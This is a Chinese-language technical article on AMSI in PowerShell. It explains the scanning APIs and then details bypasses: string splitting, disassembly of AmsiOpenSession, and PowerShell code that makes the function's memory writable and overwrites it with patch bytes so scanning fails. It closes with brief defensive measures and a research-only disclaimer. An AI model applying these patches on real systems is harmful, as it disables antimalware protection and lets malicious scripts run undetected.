Powershell调用AMSI分析
字数 1402 2025-08-24 07:48:22
PowerShell AMSI 绕过技术详解
1. AMSI 基础概念
1.1 AMSI 简介
AMSI (Antimalware Scan Interface) 是微软提供的反恶意软件扫描接口标准,允许应用程序与服务与计算机上的反恶意软件产品集成。主要特点:
- 默认与 Windows Defender 交互
- 监控 PowerShell、JScript、VBScript、VBA 和 .NET 命令/脚本
- 首次引入于 Windows 10 (2015年)
1.2 AMSI 工作原理
当用户执行脚本或启动 PowerShell 时:
- AMSI.dll 被动态加载到内存
- 防病毒软件使用以下两个主要 API 扫描:
AmsiScanBuffer()AmsiScanString()
- 检测到恶意软件则阻止执行
2. 关键 AMSI API 分析
2.1 AmsiInitialize
HRESULT AmsiInitialize(
LPCWSTR appName,
HAMSICONTEXT *amsiContext
);
appName: 调用应用程序的名称/版本/GUIDamsiContext: 后续 API 调用所需的句柄- 在 PowerShell 命令执行前调用,无法修改
2.2 AmsiOpenSession
HRESULT AmsiOpenSession(
HAMSICONTEXT amsiContext,
HAMSISESSION *amsiSession
);
- 创建扫描会话的句柄
- 必须在执行 PowerShell 命令时调用
2.3 AmsiScanBuffer
HRESULT AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result
);
- 核心扫描函数,检查缓冲区内容
- 使用
AmsiResultIsMalware判断是否阻止内容
2.4 AmsiCloseSession
- 关闭当前 AMSI 扫描会话
- 在扫描完成后调用
3. AMSI 绕过技术
3.1 基本字符串混淆
- 简单方法:字符串分割/拼接
# 原始检测 'AmsiUtils' # 混淆后 'Ams' + 'iUtils' - 局限性:容易被更新后的 Defender 检测
3.2 内存补丁技术
3.2.1 分析 AmsiOpenSession 汇编
关键汇编指令:
00007ff9`de7124c0 4885d2 test rdx,rdx
00007ff9`de7124c3 0f8482000000 je 00007ff9`de71254b
...
00007ff9`de71250b b857000780 mov eax,80070057h
00007ff9`de712510 c3 ret
3.2.2 修改方案1:强制跳转
- 将
test rdx,rdx(0x4885d2) 替换为:xor eax,eax(0x31c0)nop(0x90)
- 结果:强制设置 ZF=1,跳转到错误分支
3.2.3 修改方案2:直接返回
- 将函数开头替换为返回指令:
00007ff9`de71250b b857000780 mov eax,80070057h 00007ff9`de712510 c3 ret
3.3 PowerShell 实现
3.3.1 获取函数地址
$method = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(func),
(type)
)
$address = $method.Method.MethodHandle.GetFunctionPointer().ToInt32()
3.3.2 内存权限修改
- 代码页默认权限:PAGE_EXECUTE_READ (0x20)
- 需要修改为可写权限:
$oldProtect = 0 $virtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect $virtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) $virtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($virtualProtectAddr, $virtualProtectDelegate) $virtualProtect.Invoke($address, [UIntPtr]3, 0x40, [Ref]$oldProtect)
3.3.3 写入补丁
# 方案1补丁
$patch = [Byte[]] (0x31, 0xC0, 0x90)
# 方案2补丁
$patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $address, $patch.Length)
4. 技术要点总结
-
AMSI 拦截点:主要针对
AmsiOpenSession和AmsiScanBuffer函数 -
补丁位置选择:函数开头的关键跳转指令
-
内存保护处理:必须修改内存页权限为可写
-
补丁设计原则:
- 保持指令长度一致
- 确保逻辑强制跳转到错误分支
- 避免触发其他保护机制
-
稳定性考虑:
- 不同 Windows 版本函数地址可能变化
- 补丁后可能影响其他依赖 AMSI 的功能
- 需要考虑恢复原始代码的方案
5. 防御措施
- 监控 AMSI DLL 加载
- 检测关键 API 的钩子
- 验证 AMSI 函数完整性
- 实施代码签名验证
- 启用受控文件夹访问
6. 扩展思路
- 其他 API 补丁:如
AmsiScanBuffer的类似修改 - DLL 卸载:强制卸载 AMSI.dll
- 进程注入:在 AMSI 初始化前注入
- ETW 绕过:同时禁用事件跟踪
以上技术仅用于安全研究目的,实际使用需遵守相关法律法规。